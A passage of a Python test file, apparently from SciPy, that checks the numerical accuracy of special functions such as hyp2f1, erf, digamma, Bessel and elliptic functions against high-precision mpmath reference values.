10.805295997850628, 0.90875647507000001), (-10, 900, -10.5, 0.99), (-10, 900, 10.5, 0.99), (-1, 2, 1, 1.0), (-1, 2, 1, -1.0), (-3, 13, 5, 1.0), (-3, 13, 5, -1.0), (0.5, 1 - 270.5, 1.5, 0.999**2), # from issue 1561 ] dataset = [p + (float(mpmath.hyp2f1(*p)),) for p in pts] dataset = np.array(dataset, dtype=np.float_) olderr = np.seterr(invalid='ignore') try: FuncData(sc.hyp2f1, dataset, (0,1,2,3), 4, rtol=1e-10).check() finally: np.seterr(**olderr) @check_version(mpmath, '0.14') def test_hyp2f1_some_points_2(): # Taken from mpmath unit tests -- this point failed for mpmath 0.13 but # was fixed in their SVN since then pts = [ (112, (51,10), (-9,10), -0.99999), (10,-900,10.5,0.99), (10,-900,-10.5,0.99), ] def fev(x): if isinstance(x, tuple): return float(x[0]) / x[1] else: return x dataset = [tuple(map(fev, p)) + (float(mpmath.hyp2f1(*p)),) for p in pts] dataset = np.array(dataset, dtype=np.float_) FuncData(sc.hyp2f1, dataset, (0,1,2,3), 4, rtol=1e-10).check() @check_version(mpmath, '0.13') def test_hyp2f1_real_some(): dataset = [] for a in [-10, -5, -1.8, 1.8, 5, 10]: for b in [-2.5, -1, 1, 7.4]: for c in [-9, -1.8, 5, 20.4]: for z in [-10, -1.01, -0.99, 0, 0.6, 0.95, 1.5, 10]: try: v = float(mpmath.hyp2f1(a, b, c, z)) except Exception: continue dataset.append((a, b, c, z, v)) dataset = np.array(dataset, dtype=np.float_) olderr = np.seterr(invalid='ignore') try: FuncData(sc.hyp2f1, dataset, (0,1,2,3), 4, rtol=1e-9, ignore_inf_sign=True).check() finally: np.seterr(**olderr) @check_version(mpmath, '0.12') @pytest.mark.slow def test_hyp2f1_real_random(): npoints = 500 dataset = np.zeros((npoints, 5), np.float_) np.random.seed(1234) dataset[:, 0] = np.random.pareto(1.5, npoints) dataset[:, 1] = np.random.pareto(1.5, npoints) dataset[:, 2] = np.random.pareto(1.5, npoints) dataset[:, 3] = 2*np.random.rand(npoints) - 1 dataset[:, 0] *= (-1)**np.random.randint(2, npoints) dataset[:, 1] *= (-1)**np.random.randint(2, npoints) dataset[:, 2] *= (-1)**np.random.randint(2, npoints) for ds in dataset: if mpmath.__version__ < '0.14': # mpmath < 0.14 fails for c too much smaller than a, b if abs(ds[:2]).max() > abs(ds[2]): ds[2] = abs(ds[:2]).max() ds[4] = float(mpmath.hyp2f1(*tuple(ds[:4]))) FuncData(sc.hyp2f1, dataset, (0, 1, 2, 3), 4, rtol=1e-9).check() # ------------------------------------------------------------------------------ # erf (complex) # ------------------------------------------------------------------------------ @check_version(mpmath, '0.14') def test_erf_complex(): # need to increase mpmath precision for this test old_dps, old_prec = mpmath.mp.dps, mpmath.mp.prec try: mpmath.mp.dps = 70 x1, y1 = np.meshgrid(np.linspace(-10, 1, 31), np.linspace(-10, 1, 11)) x2, y2 = np.meshgrid(np.logspace(-80, .8, 31), np.logspace(-80, .8, 11)) points = np.r_[x1.ravel(),x2.ravel()] + 1j*np.r_[y1.ravel(), y2.ravel()] assert_func_equal(sc.erf, lambda x: complex(mpmath.erf(x)), points, vectorized=False, rtol=1e-13) assert_func_equal(sc.erfc, lambda x: complex(mpmath.erfc(x)), points, vectorized=False, rtol=1e-13) finally: mpmath.mp.dps, mpmath.mp.prec = old_dps, old_prec # ------------------------------------------------------------------------------ # lpmv # ------------------------------------------------------------------------------ @check_version(mpmath, '0.15') def test_lpmv(): pts = [] for x in [-0.99, -0.557, 1e-6, 0.132, 1]: pts.extend([ (1, 1, x), (1, -1, x), (-1, 1, x), (-1, -2, x), (1, 1.7, x), (1, -1.7, x), (-1, 1.7, x), (-1, -2.7, x), (1, 10, x), (1, 11, x), (3, 8, x), (5, 11, x), (-3, 8, x), (-5, 11, x), (3, -8, x), (5, -11, x), (-3, -8, x), (-5, -11, x), (3, 8.3, x), (5, 11.3, x), (-3, 8.3, x), (-5, 11.3, x), (3, -8.3, x), (5, -11.3, x), (-3, -8.3, x), (-5, -11.3, x), ]) def mplegenp(nu, mu, x): if mu == int(mu) and x == 1: # mpmath 0.17 gets this wrong if mu == 0: return 1 else: return 0 return mpmath.legenp(nu, mu, x) dataset = [p + (mplegenp(p[1], p[0], p[2]),) for p in pts] dataset = np.array(dataset, dtype=np.float_) def evf(mu, nu, x): return sc.lpmv(mu.astype(int), nu, x) olderr = np.seterr(invalid='ignore') try: FuncData(evf, dataset, (0,1,2), 3, rtol=1e-10, atol=1e-14).check() finally: np.seterr(**olderr) # ------------------------------------------------------------------------------ # beta # ------------------------------------------------------------------------------ @check_version(mpmath, '0.15') def test_beta(): np.random.seed(1234) b = np.r_[np.logspace(-200, 200, 4), np.logspace(-10, 10, 4), np.logspace(-1, 1, 4), np.arange(-10, 11, 1), np.arange(-10, 11, 1) + 0.5, -1, -2.3, -3, -100.3, -10003.4] a = b ab = np.array(np.broadcast_arrays(a[:,None], b[None,:])).reshape(2, -1).T old_dps, old_prec = mpmath.mp.dps, mpmath.mp.prec try: mpmath.mp.dps = 400 assert_func_equal(sc.beta, lambda a, b: float(mpmath.beta(a, b)), ab, vectorized=False, rtol=1e-10, ignore_inf_sign=True) assert_func_equal( sc.betaln, lambda a, b: float(mpmath.log(abs(mpmath.beta(a, b)))), ab, vectorized=False, rtol=1e-10) finally: mpmath.mp.dps, mpmath.mp.prec = old_dps, old_prec # ------------------------------------------------------------------------------ # loggamma # ------------------------------------------------------------------------------ LOGGAMMA_TAYLOR_RADIUS = 0.2 @check_version(mpmath, '0.19') def test_loggamma_taylor_transition(): # Make sure there isn't a big jump in accuracy when we move from # using the Taylor series to using the recurrence relation. r = LOGGAMMA_TAYLOR_RADIUS + np.array([-0.1, -0.01, 0, 0.01, 0.1]) theta = np.linspace(0, 2*np.pi, 20) r, theta = np.meshgrid(r, theta) dz = r*np.exp(1j*theta) z = np.r_[1 + dz, 2 + dz].flatten() dataset = [] for z0 in z: dataset.append((z0, complex(mpmath.loggamma(z0)))) dataset = np.array(dataset) FuncData(sc.loggamma, dataset, 0, 1, rtol=5e-14).check() @check_version(mpmath, '0.19') def test_loggamma_taylor(): # Test around the zeros at z = 1, 2. r = np.logspace(-16, np.log10(LOGGAMMA_TAYLOR_RADIUS), 10) theta = np.linspace(0, 2*np.pi, 20) r, theta = np.meshgrid(r, theta) dz = r*np.exp(1j*theta) z = np.r_[1 + dz, 2 + dz].flatten() dataset = [] for z0 in z: dataset.append((z0, complex(mpmath.loggamma(z0)))) dataset = np.array(dataset) FuncData(sc.loggamma, dataset, 0, 1, rtol=5e-14).check() # ------------------------------------------------------------------------------ # rgamma # ------------------------------------------------------------------------------ @check_version(mpmath, '0.19') @pytest.mark.slow def test_rgamma_zeros(): # Test around the zeros at z = 0, -1, -2, ..., -169. (After -169 we # get values that are out of floating point range even when we're # within 0.1 of the zero.) # Can't use too many points here or the test takes forever. dx = np.r_[-np.logspace(-1, -13, 3), 0, np.logspace(-13, -1, 3)] dy = dx.copy() dx, dy = np.meshgrid(dx, dy) dz = dx + 1j*dy zeros = np.arange(0, -170, -1).reshape(1, 1, -1) z = (zeros + np.dstack((dz,)*zeros.size)).flatten() dataset = [] with mpmath.workdps(100): for z0 in z: dataset.append((z0, complex(mpmath.rgamma(z0)))) dataset = np.array(dataset) FuncData(sc.rgamma, dataset, 0, 1, rtol=1e-12).check() # ------------------------------------------------------------------------------ # digamma # ------------------------------------------------------------------------------ @check_version(mpmath, '0.19') @pytest.mark.slow def test_digamma_roots(): # Test the special-cased roots for digamma. root = mpmath.findroot(mpmath.digamma, 1.5) roots = [float(root)] root = mpmath.findroot(mpmath.digamma, -0.5) roots.append(float(root)) roots = np.array(roots) # If we test beyond a radius of 0.24 mpmath will take forever. dx = np.r_[-0.24, -np.logspace(-1, -15, 10), 0, np.logspace(-15, -1, 10), 0.24] dy = dx.copy() dx, dy = np.meshgrid(dx, dy) dz = dx + 1j*dy z = (roots + np.dstack((dz,)*roots.size)).flatten() dataset = [] with mpmath.workdps(30): for z0 in z: dataset.append((z0, complex(mpmath.digamma(z0)))) dataset = np.array(dataset) FuncData(sc.digamma, dataset, 0, 1, rtol=1e-14).check() @check_version(mpmath, '0.19') def test_digamma_negreal(): # Test digamma around the negative real axis. Don't do this in # TestSystematic because the points need some jiggering so that # mpmath doesn't take forever. digamma = exception_to_nan(mpmath.digamma) x = -np.logspace(300, -30, 100) y = np.r_[-np.logspace(0, -3, 5), 0, np.logspace(-3, 0, 5)] x, y = np.meshgrid(x, y) z = (x + 1j*y).flatten() dataset = [] with mpmath.workdps(40): for z0 in z: res = digamma(z0) dataset.append((z0, complex(res))) dataset = np.asarray(dataset) FuncData(sc.digamma, dataset, 0, 1, rtol=1e-13).check() @check_version(mpmath, '0.19') def test_digamma_boundary(): # Check that there isn't a jump in accuracy when we switch from # using the asymptotic series to the reflection formula. x = -np.logspace(300, -30, 100) y = np.array([-6.1, -5.9, 5.9, 6.1]) x, y = np.meshgrid(x, y) z = (x + 1j*y).flatten() dataset = [] with mpmath.workdps(30): for z0 in z: res = mpmath.digamma(z0) dataset.append((z0, complex(res))) dataset = np.asarray(dataset) FuncData(sc.digamma, dataset, 0, 1, rtol=1e-13).check() # ------------------------------------------------------------------------------ # gammainc # ------------------------------------------------------------------------------ @check_version(mpmath, '0.19') @pytest.mark.slow def test_gammainc_boundary(): # Test the transition to the asymptotic series. small = 20 a = np.linspace(0.5*small, 2*small, 50) x = a.copy() a, x = np.meshgrid(a, x) a, x = a.flatten(), x.flatten() dataset = [] with mpmath.workdps(100): for a0, x0 in zip(a, x): dataset.append((a0, x0, float(mpmath.gammainc(a0, b=x0, regularized=True)))) dataset = np.array(dataset) FuncData(sc.gammainc, dataset, (0, 1), 2, rtol=1e-12).check() # ------------------------------------------------------------------------------ # spence # ------------------------------------------------------------------------------ @check_version(mpmath, '0.19') @pytest.mark.slow def test_spence_circle(): # The trickiest region for spence is around the circle |z - 1| = 1, # so test that region carefully. def spence(z): return complex(mpmath.polylog(2, 1 - z)) r = np.linspace(0.5, 1.5) theta = np.linspace(0, 2*pi) z = (1 + np.outer(r, np.exp(1j*theta))).flatten() dataset = [] for z0 in z: dataset.append((z0, spence(z0))) dataset = np.array(dataset) FuncData(sc.spence, dataset, 0, 1, rtol=1e-14).check() # ------------------------------------------------------------------------------ # sinpi and cospi # ------------------------------------------------------------------------------ @check_version(mpmath, '0.19') def test_sinpi_zeros(): eps = np.finfo(float).eps dx = np.r_[-np.logspace(0, -13, 3), 0, np.logspace(-13, 0, 3)] dy = dx.copy() dx, dy = np.meshgrid(dx, dy) dz = dx + 1j*dy zeros = np.arange(-100, 100, 1).reshape(1, 1, -1) z = (zeros + np.dstack((dz,)*zeros.size)).flatten() dataset = [] for z0 in z: dataset.append((z0, complex(mpmath.sinpi(z0)))) dataset = np.array(dataset) FuncData(_sinpi, dataset, 0, 1, rtol=2*eps).check() @check_version(mpmath, '0.19') def test_cospi_zeros(): eps = np.finfo(float).eps dx = np.r_[-np.logspace(0, -13, 3), 0, np.logspace(-13, 0, 3)] dy = dx.copy() dx, dy = np.meshgrid(dx, dy) dz = dx + 1j*dy zeros = (np.arange(-100, 100, 1) + 0.5).reshape(1, 1, -1) z = (zeros + np.dstack((dz,)*zeros.size)).flatten() dataset = [] for z0 in z: dataset.append((z0, complex(mpmath.cospi(z0)))) dataset = np.array(dataset) FuncData(_cospi, dataset, 0, 1, rtol=2*eps).check() # ------------------------------------------------------------------------------ # ellipj # ------------------------------------------------------------------------------ @check_version(mpmath, '0.19') def test_dn_quarter_period(): def dn(u, m): return sc.ellipj(u, m)[2] def mpmath_dn(u, m): return float(mpmath.ellipfun("dn", u=u, m=m)) m = np.linspace(0, 1, 20) du = np.r_[-np.logspace(-1, -15, 10), 0, np.logspace(-15, -1, 10)] dataset = [] for m0 in m: u0 = float(mpmath.ellipk(m0)) for du0 in du: p = u0 + du0 dataset.append((p, m0, mpmath_dn(p, m0))) dataset = np.asarray(dataset) FuncData(dn, dataset, (0, 1), 2, rtol=1e-10).check() # ------------------------------------------------------------------------------ # Wright Omega # ------------------------------------------------------------------------------ def _mpmath_wrightomega(z, dps): with mpmath.workdps(dps): z = mpmath.mpc(z) unwind = mpmath.ceil((z.imag - mpmath.pi)/(2*mpmath.pi)) res = mpmath.lambertw(mpmath.exp(z), unwind) return res @pytest.mark.slow @check_version(mpmath, '0.19') def test_wrightomega_branch(): x = -np.logspace(10, 0, 25) picut_above = [np.nextafter(np.pi, np.inf)] picut_below = [np.nextafter(np.pi, -np.inf)] npicut_above = [np.nextafter(-np.pi, np.inf)] npicut_below = [np.nextafter(-np.pi, -np.inf)] for i in range(50): picut_above.append(np.nextafter(picut_above[-1], np.inf)) picut_below.append(np.nextafter(picut_below[-1], -np.inf)) npicut_above.append(np.nextafter(npicut_above[-1], np.inf)) npicut_below.append(np.nextafter(npicut_below[-1], -np.inf)) y = np.hstack((picut_above, picut_below, npicut_above, npicut_below)) x, y = np.meshgrid(x, y) z = (x + 1j*y).flatten() dataset = [] for z0 in z: dataset.append((z0, complex(_mpmath_wrightomega(z0, 25)))) dataset = np.asarray(dataset) FuncData(sc.wrightomega, dataset, 0, 1, rtol=1e-8).check() @pytest.mark.slow @check_version(mpmath, '0.19') def test_wrightomega_region1(): # This region gets less coverage in the TestSystematic test x = np.linspace(-2, 1) y = np.linspace(1, 2*np.pi) x, y = np.meshgrid(x, y) z = (x + 1j*y).flatten() dataset = [] for z0 in z: dataset.append((z0, complex(_mpmath_wrightomega(z0, 25)))) dataset = np.asarray(dataset) FuncData(sc.wrightomega, dataset, 0, 1, rtol=1e-15).check() @pytest.mark.slow @check_version(mpmath, '0.19') def test_wrightomega_region2(): # This region gets less coverage in the TestSystematic test x = np.linspace(-2, 1) y = np.linspace(-2*np.pi, -1) x, y = np.meshgrid(x, y) z = (x + 1j*y).flatten() dataset = [] for z0 in z: dataset.append((z0, complex(_mpmath_wrightomega(z0, 25)))) dataset = np.asarray(dataset) FuncData(sc.wrightomega, dataset, 0, 1, rtol=1e-15).check() # ------------------------------------------------------------------------------ # lambertw # ------------------------------------------------------------------------------ @pytest.mark.slow @check_version(mpmath, '0.19') def test_lambertw_smallz(): x, y = np.linspace(-1, 1, 25), np.linspace(-1, 1, 25) x, y = np.meshgrid(x, y) z = (x + 1j*y).flatten() dataset = [] for z0 in z: dataset.append((z0, complex(mpmath.lambertw(z0)))) dataset = np.asarray(dataset) FuncData(sc.lambertw, dataset, 0, 1, rtol=1e-13).check() # ------------------------------------------------------------------------------ # Systematic tests # ------------------------------------------------------------------------------ HYPERKW = dict(maxprec=200, maxterms=200) @pytest.mark.slow @check_version(mpmath, '0.17') class TestSystematic(object): def test_airyai(self): # oscillating function, limit range assert_mpmath_equal(lambda z: sc.airy(z)[0], mpmath.airyai, [Arg(-1e8, 1e8)], rtol=1e-5) assert_mpmath_equal(lambda z: sc.airy(z)[0], mpmath.airyai, [Arg(-1e3, 1e3)]) def test_airyai_complex(self): assert_mpmath_equal(lambda z: sc.airy(z)[0], mpmath.airyai, [ComplexArg()]) def test_airyai_prime(self): # oscillating function, limit range assert_mpmath_equal(lambda z: sc.airy(z)[1], lambda z: mpmath.airyai(z, derivative=1), [Arg(-1e8, 1e8)], rtol=1e-5) assert_mpmath_equal(lambda z: sc.airy(z)[1], lambda z: mpmath.airyai(z, derivative=1), [Arg(-1e3, 1e3)]) def test_airyai_prime_complex(self): assert_mpmath_equal(lambda z: sc.airy(z)[1], lambda z: mpmath.airyai(z, derivative=1), [ComplexArg()]) def test_airybi(self): # oscillating function, limit range assert_mpmath_equal(lambda z: sc.airy(z)[2], lambda z: mpmath.airybi(z), [Arg(-1e8, 1e8)], rtol=1e-5) assert_mpmath_equal(lambda z: sc.airy(z)[2], lambda z: mpmath.airybi(z), [Arg(-1e3, 1e3)]) def test_airybi_complex(self): assert_mpmath_equal(lambda z: sc.airy(z)[2], lambda z: mpmath.airybi(z), [ComplexArg()]) def test_airybi_prime(self): # oscillating function, limit range assert_mpmath_equal(lambda z: sc.airy(z)[3], lambda z: mpmath.airybi(z, derivative=1), [Arg(-1e8, 1e8)], rtol=1e-5) assert_mpmath_equal(lambda z: sc.airy(z)[3], lambda z: mpmath.airybi(z, derivative=1), [Arg(-1e3, 1e3)]) def test_airybi_prime_complex(self): assert_mpmath_equal(lambda z: sc.airy(z)[3], lambda z: mpmath.airybi(z, derivative=1), [ComplexArg()]) def test_bei(self): assert_mpmath_equal(sc.bei, exception_to_nan(lambda z: mpmath.bei(0, z, **HYPERKW)), [Arg(-1e3, 1e3)]) def test_ber(self): assert_mpmath_equal(sc.ber, exception_to_nan(lambda z: mpmath.ber(0, z, **HYPERKW)), [Arg(-1e3, 1e3)]) def test_bernoulli(self): assert_mpmath_equal(lambda n: sc.bernoulli(int(n))[int(n)], lambda n: float(mpmath.bernoulli(int(n))), [IntArg(0, 13000)], rtol=1e-9, n=13000) def test_besseli(self): assert_mpmath_equal(sc.iv, exception_to_nan(lambda v, z: mpmath.besseli(v, z, **HYPERKW)), [Arg(-1e100, 1e100), Arg()], atol=1e-270) def test_besseli_complex(self): assert_mpmath_equal(lambda v, z: sc.iv(v.real, z), exception_to_nan(lambda v, z: mpmath.besseli(v, z, **HYPERKW)), [Arg(-1e100, 1e100), ComplexArg()]) def test_besselj(self): assert_mpmath_equal(sc.jv, exception_to_nan(lambda v, z: mpmath.besselj(v, z, **HYPERKW)), [Arg(-1e100, 1e100), Arg(-1e3, 1e3)], ignore_inf_sign=True) # loss of precision at large arguments due to oscillation assert_mpmath_equal(sc.jv, exception_to_nan(lambda v, z: mpmath.besselj(v, z, **HYPERKW)), [Arg(-1e100, 1e100), Arg(-1e8, 1e8)], ignore_inf_sign=True, rtol=1e-5) def test_besselj_complex(self): assert_mpmath_equal(lambda v, z: sc.jv(v.real, z), exception_to_nan(lambda v, z: mpmath.besselj(v, z, **HYPERKW)), [Arg(), ComplexArg()]) def test_besselk(self): assert_mpmath_equal(sc.kv, mpmath.besselk, [Arg(-200, 200), Arg(0, np.inf)], nan_ok=False, rtol=1e-12) def test_besselk_int(self): assert_mpmath_equal(sc.kn, mpmath.besselk, [IntArg(-200, 200), Arg(0, np.inf)], nan_ok=False, rtol=1e-12) def test_besselk_complex(self): assert_mpmath_equal(lambda v, z: sc.kv(v.real, z), exception_to_nan(lambda v, z: mpmath.besselk(v, z, **HYPERKW)), [Arg(-1e100, 1e100), ComplexArg()]) def test_bessely(self): def mpbessely(v, x): r = float(mpmath.bessely(v, x, **HYPERKW)) if abs(r) > 1e305: # overflowing to inf a bit earlier is OK r = np.inf * np.sign(r) if abs(r) == 0 and x == 0: # invalid result from mpmath, point x=0 is a divergence return np.nan return r assert_mpmath_equal(sc.yv, exception_to_nan(mpbessely), [Arg(-1e100, 1e100), Arg(-1e8, 1e8)], n=5000) def test_bessely_complex(self): def mpbessely(v, x): r = complex(mpmath.bessely(v, x, **HYPERKW)) if abs(r) > 1e305: # overflowing to inf a bit earlier is OK olderr = np.seterr(invalid='ignore') try: r = np.inf * np.sign(r) finally: np.seterr(**olderr) return r assert_mpmath_equal(lambda v, z: sc.yv(v.real, z), exception_to_nan(mpbessely), [Arg(), ComplexArg()], n=15000) def test_bessely_int(self): def mpbessely(v, x): r = float(mpmath.bessely(v, x)) if abs(r) == 0 and x == 0: # invalid result from mpmath, point x=0 is a divergence return np.nan return r assert_mpmath_equal(lambda v, z: sc.yn(int(v), z), exception_to_nan(mpbessely), [IntArg(-1000, 1000), Arg(-1e8, 1e8)]) def test_beta(self): bad_points = [] def beta(a, b, nonzero=False): if a < -1e12 or b < -1e12: # Function is defined here only at integers, but due # to loss of precision this is numerically # ill-defined. Don't compare values here. return np.nan if (a < 0 or b < 0) and (abs(float(a + b)) % 1) == 0: # close to a zero of the function: mpmath and scipy # will not round here the same, so the test needs to be # run with an absolute tolerance if nonzero: bad_points.append((float(a), float(b))) return np.nan return mpmath.beta(a, b) assert_mpmath_equal(sc.beta, lambda a, b: beta(a, b, nonzero=True), [Arg(), Arg()], dps=400, ignore_inf_sign=True) assert_mpmath_equal(sc.beta, beta, np.array(bad_points), dps=400, ignore_inf_sign=True, atol=1e-11) def test_betainc(self): assert_mpmath_equal(sc.betainc, time_limited()(exception_to_nan(lambda a, b, x: mpmath.betainc(a, b, 0, x, regularized=True))), [Arg(), Arg(), Arg()]) def test_binom(self): bad_points = [] def binomial(n, k, nonzero=False): if abs(k) > 1e8*(abs(n) + 1): # The binomial is rapidly oscillating in this region, # and the function is numerically ill-defined. Don't # compare values here. return np.nan if n < k and abs(float(n-k) - np.round(float(n-k))) < 1e-15: # close to a zero of the function: mpmath and scipy # will not round here the same, so the test needs to be # run with an absolute tolerance if nonzero: bad_points.append((float(n), float(k))) return np.nan return mpmath.binomial(n, k) assert_mpmath_equal(sc.binom, lambda n, k: binomial(n, k, nonzero=True), [Arg(), Arg()], dps=400) assert_mpmath_equal(sc.binom, binomial, np.array(bad_points), dps=400, atol=1e-14) def test_chebyt_int(self): assert_mpmath_equal(lambda n, x: sc.eval_chebyt(int(n), x), exception_to_nan(lambda n, x: mpmath.chebyt(n, x, **HYPERKW)), [IntArg(), Arg()], dps=50) @pytest.mark.xfail(run=False, reason="some cases in hyp2f1 not fully accurate") def test_chebyt(self): assert_mpmath_equal(sc.eval_chebyt, lambda n, x: time_limited()(exception_to_nan(mpmath.chebyt))(n, x, **HYPERKW), [Arg(-101, 101), Arg()], n=10000) def test_chebyu_int(self): assert_mpmath_equal(lambda n, x: sc.eval_chebyu(int(n), x), exception_to_nan(lambda n, x: mpmath.chebyu(n, x, **HYPERKW)), [IntArg(), Arg()], dps=50) @pytest.mark.xfail(run=False, reason="some cases in hyp2f1 not fully accurate") def test_chebyu(self): assert_mpmath_equal(sc.eval_chebyu, lambda n, x: time_limited()(exception_to_nan(mpmath.chebyu))(n, x, **HYPERKW), [Arg(-101, 101), Arg()]) def test_chi(self): def chi(x): return sc.shichi(x)[1] assert_mpmath_equal(chi, mpmath.chi, [Arg()]) # check asymptotic series cross-over assert_mpmath_equal(chi, mpmath.chi, [FixedArg([88 - 1e-9, 88, 88 + 1e-9])]) def test_chi_complex(self): def chi(z): return sc.shichi(z)[1] # chi oscillates as Im[z] -> +- inf, so limit range assert_mpmath_equal(chi, mpmath.chi, [ComplexArg(complex(-np.inf, -1e8), complex(np.inf, 1e8))], rtol=1e-12) def test_ci(self): def ci(x): return sc.sici(x)[1] # oscillating function: limit range assert_mpmath_equal(ci, mpmath.ci, [Arg(-1e8, 1e8)]) def test_ci_complex(self): def ci(z): return sc.sici(z)[1] # ci oscillates as Re[z] -> +- inf, so limit range assert_mpmath_equal(ci, mpmath.ci, [ComplexArg(complex(-1e8, -np.inf), complex(1e8, np.inf))], rtol=1e-8) def test_cospi(self): eps = np.finfo(float).eps assert_mpmath_equal(_cospi, mpmath.cospi, [Arg()], nan_ok=False, rtol=eps) def test_cospi_complex(self): assert_mpmath_equal(_cospi, mpmath.cospi, [ComplexArg()], nan_ok=False, rtol=1e-13) def test_digamma(self): assert_mpmath_equal(sc.digamma, exception_to_nan(mpmath.digamma), [Arg()], rtol=1e-12, dps=50) def test_digamma_complex(self): # Test on a cut plane because mpmath will hang. See # test_digamma_negreal for tests on the negative real axis. def param_filter(z): return np.where((z.real < 0) & (np.abs(z.imag) < 1.12), False, True) assert_mpmath_equal(sc.digamma, exception_to_nan(mpmath.digamma), [ComplexArg()], rtol=1e-13, dps=40, param_filter=param_filter) def test_e1(self): assert_mpmath_equal(sc.exp1, mpmath.e1, [Arg()], rtol=1e-14) def test_e1_complex(self): # E_1 oscillates as Im[z] -> +- inf, so limit range assert_mpmath_equal(sc.exp1, mpmath.e1, [ComplexArg(complex(-np.inf, -1e8), complex(np.inf, 1e8))], rtol=1e-11) # Check cross-over region assert_mpmath_equal(sc.exp1, mpmath.e1, (np.linspace(-50, 50, 171)[:, None] + np.r_[0, np.logspace(-3, 2, 61), -np.logspace(-3, 2, 11)]*1j).ravel(), rtol=1e-11) assert_mpmath_equal(sc.exp1, mpmath.e1, (np.linspace(-50, -35, 10000) + 0j), rtol=1e-11) def test_exprel(self): assert_mpmath_equal(sc.exprel, lambda x: mpmath.expm1(x)/x if x != 0 else mpmath.mpf('1.0'), [Arg(a=-np.log(np.finfo(np.double).max), b=np.log(np.finfo(np.double).max))]) assert_mpmath_equal(sc.exprel, lambda x: mpmath.expm1(x)/x if x != 0 else mpmath.mpf('1.0'), np.array([1e-12, 1e-24, 0, 1e12, 1e24, np.inf]), rtol=1e-11) assert_(np.isinf(sc.exprel(np.inf))) assert_(sc.exprel(-np.inf) == 0) def test_expm1_complex(self): # Oscillates as a function of Im[z], so limit range to avoid loss of precision assert_mpmath_equal(sc.expm1, mpmath.expm1, [ComplexArg(complex(-np.inf, -1e7), complex(np.inf, 1e7))]) def test_log1p_complex(self): assert_mpmath_equal(sc.log1p, lambda x: mpmath.log(x+1), [ComplexArg()], dps=60) def test_log1pmx(self): assert_mpmath_equal(_log1pmx, lambda x: mpmath.log(x + 1) - x, [Arg()], dps=60, rtol=1e-14) def test_ei(self): assert_mpmath_equal(sc.expi, mpmath.ei, [Arg()], rtol=1e-11) def test_ei_complex(self): # Ei oscillates as Im[z] -> +- inf, so limit range assert_mpmath_equal(sc.expi, mpmath.ei, [ComplexArg(complex(-np.inf, -1e8), complex(np.inf, 1e8))], rtol=1e-9) def test_ellipe(self): assert_mpmath_equal(sc.ellipe, mpmath.ellipe, [Arg(b=1.0)]) def test_ellipeinc(self): assert_mpmath_equal(sc.ellipeinc, mpmath.ellipe, [Arg(-1e3, 1e3), Arg(b=1.0)]) def test_ellipeinc_largephi(self): assert_mpmath_equal(sc.ellipeinc, mpmath.ellipe, [Arg(), Arg()]) def test_ellipf(self): assert_mpmath_equal(sc.ellipkinc, mpmath.ellipf, [Arg(-1e3, 1e3), Arg()]) def test_ellipf_largephi(self): assert_mpmath_equal(sc.ellipkinc, mpmath.ellipf, [Arg(), Arg()]) def test_ellipk(self): assert_mpmath_equal(sc.ellipk, mpmath.ellipk, [Arg(b=1.0)]) assert_mpmath_equal(sc.ellipkm1, lambda m: mpmath.ellipk(1 - m), [Arg(a=0.0)], dps=400) def test_ellipkinc(self): def ellipkinc(phi, m): return mpmath.ellippi(0, phi, m) assert_mpmath_equal(sc.ellipkinc, ellipkinc, [Arg(-1e3, 1e3), Arg(b=1.0)], ignore_inf_sign=True) def test_ellipkinc_largephi(self): def ellipkinc(phi, m): return mpmath.ellippi(0, phi, m) assert_mpmath_equal(sc.ellipkinc, ellipkinc, [Arg(), Arg(b=1.0)], ignore_inf_sign=True) def test_ellipfun_sn(self): def sn(u, m): # mpmath doesn't get the zero at u = 0--fix that if u == 0: return 0 else: return mpmath.ellipfun("sn", u=u, m=m) # Oscillating function --- limit range of first argument; the # loss of precision there is an expected numerical feature # rather than an actual bug assert_mpmath_equal(lambda u, m: sc.ellipj(u, m)[0], sn, [Arg(-1e6, 1e6), Arg(a=0, b=1)], rtol=1e-8) def test_ellipfun_cn(self): # see comment in ellipfun_sn assert_mpmath_equal(lambda u, m: sc.ellipj(u, m)[1], lambda u, m: mpmath.ellipfun("cn", u=u, m=m), [Arg(-1e6, 1e6), Arg(a=0, b=1)], rtol=1e-8) def test_ellipfun_dn(self): # see comment in ellipfun_sn assert_mpmath_equal(lambda u, m: sc.ellipj(u, m)[2], lambda u, m: mpmath.ellipfun("dn", u=u, m=m), [Arg(-1e6, 1e6), Arg(a=0, b=1)], rtol=1e-8) def test_erf(self): assert_mpmath_equal(sc.erf, lambda z: mpmath.erf(z), [Arg()]) def test_erf_complex(self): assert_mpmath_equal(sc.erf, lambda z: mpmath.erf(z), [ComplexArg()], n=200) def test_erfc(self): assert_mpmath_equal(sc.erfc, exception_to_nan(lambda z: mpmath.erfc(z)), [Arg()], rtol=1e-13) def test_erfc_complex(self): assert_mpmath_equal(sc.erfc, exception_to_nan(lambda z: mpmath.erfc(z)), [ComplexArg()], n=200) def test_erfi(self): assert_mpmath_equal(sc.erfi, mpmath.erfi, [Arg()], n=200) def test_erfi_complex(self): assert_mpmath_equal(sc.erfi, mpmath.erfi, [ComplexArg()], n=200) def test_ndtr(self): assert_mpmath_equal(sc.ndtr, exception_to_nan(lambda z: mpmath.ncdf(z)), [Arg()], n=200) def test_ndtr_complex(self): assert_mpmath_equal(sc.ndtr, lambda z: mpmath.erfc(-z/np.sqrt(2.))/2., [ComplexArg(a=complex(-10000, -10000), b=complex(10000, 10000))], n=400) def test_log_ndtr(self): assert_mpmath_equal(sc.log_ndtr, exception_to_nan(lambda z: mpmath.log(mpmath.ncdf(z))), [Arg()], n=600, dps=300) def test_log_ndtr_complex(self): assert_mpmath_equal(sc.log_ndtr, exception_to_nan(lambda z: mpmath.log(mpmath.erfc(-z/np.sqrt(2.))/2.)), [ComplexArg(a=complex(-10000, -100), b=complex(10000, 100))], n=200, dps=300) def test_eulernum(self): assert_mpmath_equal(lambda n: sc.euler(n)[-1], mpmath.eulernum, [IntArg(1, 10000)], n=10000) def test_expint(self): assert_mpmath_equal(sc.expn, mpmath.expint, [IntArg(0, 200), Arg(0, np.inf)], rtol=1e-13, dps=160) def test_fresnels(self): def fresnels(x): return sc.fresnel(x)[0] assert_mpmath_equal(fresnels, mpmath.fresnels, [Arg()]) def test_fresnelc(self): def fresnelc(x): return sc.fresnel(x)[1] assert_mpmath_equal(fresnelc, mpmath.fresnelc, [Arg()]) def test_gamma(self): assert_mpmath_equal(sc.gamma, exception_to_nan(mpmath.gamma), [Arg()]) def test_gamma_complex(self): assert_mpmath_equal(sc.gamma, exception_to_nan(mpmath.gamma), [ComplexArg()], rtol=5e-13) def 